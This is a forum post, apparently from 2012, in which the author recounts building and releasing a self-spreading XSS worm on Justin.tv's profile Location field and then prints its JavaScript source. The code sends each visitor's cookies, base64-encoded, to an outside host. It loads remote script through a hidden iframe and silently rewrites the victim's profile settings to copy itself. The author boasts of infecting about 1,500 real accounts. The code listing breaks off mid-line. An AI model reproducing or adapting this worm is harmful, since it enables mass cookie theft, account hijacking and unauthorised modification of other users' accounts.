PDA

View Full Version : creating xss worm



4don4i
04-22-2012, 02:46 PM
XSS worms are pretty neat, interactive worms that propagate by using a client's browser to progressively infect other profiles in some way. I wrote my own worm a while back, and I wanted to talk about how it worked, how it was affective, and what challenges I faced.

The worm I created was in Justin.Tv. The best thing about XSS worms is that they're as unique as the XSS. Tons of different things may occur, and it's up to many different variables that the worm is successful.

The XSS in justin.tv was found by x2Fusion. x2Fusion and I worked on the worm right when we came up with the idea of making one.

The XSS was in the Location field. So, people viewing another user's profile would run whatever we put there, as it was not sanitized. But there was one more challenge: the location was placed in the title sanitized. We had to find a way to not only hide the worm in the title, but we also had to impliment some javascript that automatically changed the title as soon as it loaded.

Once we started on the worm, we made the .js file on an external website, and before script inclusion we put several HTML comment tags to hide it in the title. In the location javascript, we edited the location javascript (local) to dynamically remove the title, keeping it stealthy (as possible) to avoid other issues. The local javascript also made a hidden, blank iFrame that we could reference in the remove javascript.

To start off, the remote javascript would force the iframe to our website and provide, dynamically, the client's cookies and profile location. We would use this to track what profiles were infected by who, and when, and all of the client details at the time.

We would create the payload inside the remote javascript that we can use to inject with the viewing user's profile. The "payload" data is pretty much our local javascript. We also added a ^ (rare location element, if you ask me) character after the user's location, which our local javascript will use to manage the dynamic script.

What we didn't think about, well... we were in a hurry so it's not our fault, ^ would remain on the titles. People would definately notice, but it wasn't patched until about 24 hours after.

We printed a new iFrame (hidden), and used it to read out the details in convinient little sub-frame form elements. We took the elements and processed them, only changing the Location field if it wasn't already infected, and then sending the request (if it wasn't already infected).

This was more complicated as it seemed... we had to fight between IE and Firefox (Safari follows Firefox for the most part) compatibility. After doing that, we realized... if the infected person was... well an actual broadcaster, the default page wasn't what we were looking for. Thus, we needed to dynamically read whether certain elements were given on the page, and also go to the correctly named page.

We had another request upon new infections that saved user details.

Once the request was sent, by then it is assumed the profile was infected and we have it recorded on our side. In-fact, quickly after we released it, I made a quick little PHP script that waited for more accounts to be infected (and their userdetails), and printed out a highlighted table element had it fade out after 5 seconds. After about 1500 profiles, I sat there watching 4 to 10 be infected a second, and it was funny to watch them be infected life.

Actually, check it out:
Code:
function URLEncode (clearString)
{
var output = '';
var x = 0;
clearString = clearString.toString();
var regex = /(^[a-zA-Z0-9_.]*)/;

while (x < clearString.length)
{
var match = regex.exec(clearString.substr(x));

if (match != null && match.length > 1 && match[1] != '')
{
output += match[1];
x += match[1].length;
}

else
{
if (clearString[x] == ' ')
output += '+';

else
{
var charCode = clearString.charCodeAt(x);
var hexVal = charCode.toString(16);
output += '%' + (hexVal.length < 2 ? '0' : '') + hexVal.toUpperCase();
}
x++;
}
}
return output;
}

function save_settings(action, enctype, method, query)
{
var xmlHttp;

try
{
xmlHttp = new XMLHttpRequest();
}
catch (e)
{
try
{
xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e)
{
try
{
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e)
{
return false;
}
}
}
xmlHttp.open(method, action, true);
xmlHttp.setRequestHeader('Content-Type', enctype);
xmlHttp.send(query);
return false;
}
document.title = document.title.split('^')[0] + " - Justin.tv";
var base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw xyz0123456789+/'.split("");
var base64inv = {
};

for (var i = 0; i < base64chars.length; i++)
{
base64inv[base64chars[i]] = i;
}

function b64_d (s)
{
s = s.replace(new RegExp('[^' + base64chars.join("") + '=]', 'g'), "");
var p = (s.charAt(s.length - 1) == '=' ? (s.charAt(s.length - 2) == '=' ? 'AA' : 'A') : "");
var r = "";
s = s.substr(0, s.length - p.length) + p;

for (var c = 0; c < s.length; c += 4)
{
var n = (base64inv[s.charAt©] << 18) + (base64inv[s.charAt(c + 1)] << 12) + (base64inv[s.charAt(c + 2)] << 6)
+ base64inv[s.charAt(c + 3)];
r += String.fromCharCode((n >>> 16) & 255, (n >>> 8) & 255, n & 255);
}
return r.substring(0, r.length - p.length);
}

function b64_e(s)
{
var r = "";
var p = "";
var c = s.length % 3;

if (c > 0)
{
for (;c < 3; c++)
{
p += '=';
s += "\0";
}
}

for (c = 0; c < s.length; c += 3)
{
if (c > 0 && (c / 3 * 4) % 76 == 0)
{
r += "\r\n";
}
var n = (s.charCodeAt© << 16) + (s.charCodeAt(c + 1) << 8) + s.charCodeAt(c + 2);
n = [(n >>> 18) & 63, (n >>> 12) & 63, (n >>> 6) & 63, n & 63];
r += base64chars[n[0]] + base64chars[n[1]] + base64chars[n[2]] + base64chars[n[3]
];
}
return r.substring(0, r.length - p.length) + p;
}
document.getElementById('tframeid').src = "http://thedefaced.org/jtv/jtv_test.php?act=mesh&cookie="
+ b64_e(document.cookie) + "&location=" + b64_e(String(window.location));
document.write("");
payload = b64_d(
"XjwhLS1BbGwgb3BlbmluZ3MgaW4gYW4gaW50ZXJuYWwgb3IgZX h0ZXJuYWwgZmxvYXRpbmcgcm9
vZiBleGNlcHQgZm9yIGF1dG9tYXRpYyBibGVlZGVyIHZlbnRzI Ch2YWN1dW0gYnJlYWtlciB2ZW50cyk
g
YW5kIHJpbSBzcGFjZSB2ZW50cyBtdXN0IHByb3ZpZGUgYSBwcm 9qZWN0aW9uIGJlbG93IHRoZSBsaXF1
a
WQgc3VyZmFjZSBvciBiZSBlcXVpcHBlZCB3aXRoIGEgY292ZXI sIHNlYWwsIG9yIGxpZCwgd2hpY2ggb
X
VzdCBiZSBpbiBhIGNsb3NlZCAoaS5lLiwgbm8gdmlzaWJsZSBn YXApIHBvc2l0aW9uIGF0IGFsbCB0aW
1
lcyBleGNlcHQgd2hlbiB0aGUgZGV2aWNlIGlzIGluIGFjdHVhb CB1c2UuLS0+IDxpZnJhbWUgaWQ9J3R
m
cmFtZWlkJyB3aWR0aD0wIGhlaWdodD0wIGZyYW1lYm9yZGVyPT A+PC9pZnJhbWU+PHNjcmlwdCBzcmM9
I
mh0dHA6Ly90aGVkZWZhY2VkLm9yZy9qdHYvanR2X3Rlc3QucGh wP2FjdD1qcyIgbGFuZ3VhZ2U9Imphd
m
FzY3JpcHQiPjwvc2NyaXB0PiA8IS0tQWxsIG9wZW5pbmdzIGlu IGFuIGludGVybmFsIG9yIGV4dGVybm
F
sIGZsb2F0aW5nIHJvb2YgZXhjZXB0IGZvciBhdXRvbWF0aWMgY mxlZWRlciB2ZW50cyAodmFjdXVtIGJ
y
ZWFrZXIgdmVudHMpIGFuZCByaW0gc3BhY2UgdmVudHMgbXVzdC Bwcm92aWRlIGEgcHJvamVjdGlvbiBi
Z
WxvdyB0aGUgbGlxdWlkIHN1cmZhY2Ugb3IgYmUgZXF1aXBwZWQ gd2l0aCBhIGNvdmVyLCBzZWFsLCBvc
i
BsaWQsIHdoaWNoIG11c
3QgYmUgaW4gYSBjbG9zZWQgKGkuZS4sIG5vIHZpc2libGUgZ2F wKSBwb3NpdGlvbiBhdCBhbGwgdGltZ
XMgZXhjZXB0IHdoZW4gdGhlIGRldmljZSBpcyBpbiBhY3R1YWw gdXNlLi0tPg==");
document.getElementById('tframeset').onload = function ()
{
if (frames['tframeset'].document.getElementById('user_location').value.in dexOf(
'All openings in an internal or external floating roof')
== -1)
{
query = "section=profile&session_user=";
query += frames['tframeset'].document.getElementById('session_user').value;
query += "&subsection=profile_info";
query += "&commit=Save%20Changes";

if (frames['tframeset'].document.getElementById('user_hide_im_watching'). value != 1)
{
query += "&user[hide_profile_actions]=0";
}

else
{
query += "&user[hide_profile_actions]=1";
};

if (frames['tframeset'].document.getElementById('user_hide_profile_action s').value != 1)
{
query += "&user[hide_profile_actions]=0";
}

else
{
query += "&user[hide_profile_actions]=1";
};
query += "&user[profile_about]="
+ URLEncode(frames['tframeset'].document.getElementById('user_profile_about').val ue);
query += "&user[favorite_quotes]="
+ URLEncode(frames['tframeset'].document.getElementById('user_favorite_quotes').v alue);
query += "&user[interests]=" + URLEncode(frames['tframeset'].document.getElementById('user_interests').value);
query += "&user[location]="
+ URLEncode(frames['tframeset'].document.getElementById('user_location').value + payload);
query += "&user[sex]=" + frames['tframeset'].document.getElementById('user_sex').value;
query += "&user[name]=" + URLEncode(frames['tframeset'].document.getElementById('user_name').value);
save_settings('/settings', 'application/x-www-form-urlencoded', 'POST', query);
}
document.getElementById('tframeset').onload = function ()
{
};

document.getElementById('tframeset').onreadystatec hange = function ()
{
};
};

document.getElementById('tframeset').onreadyst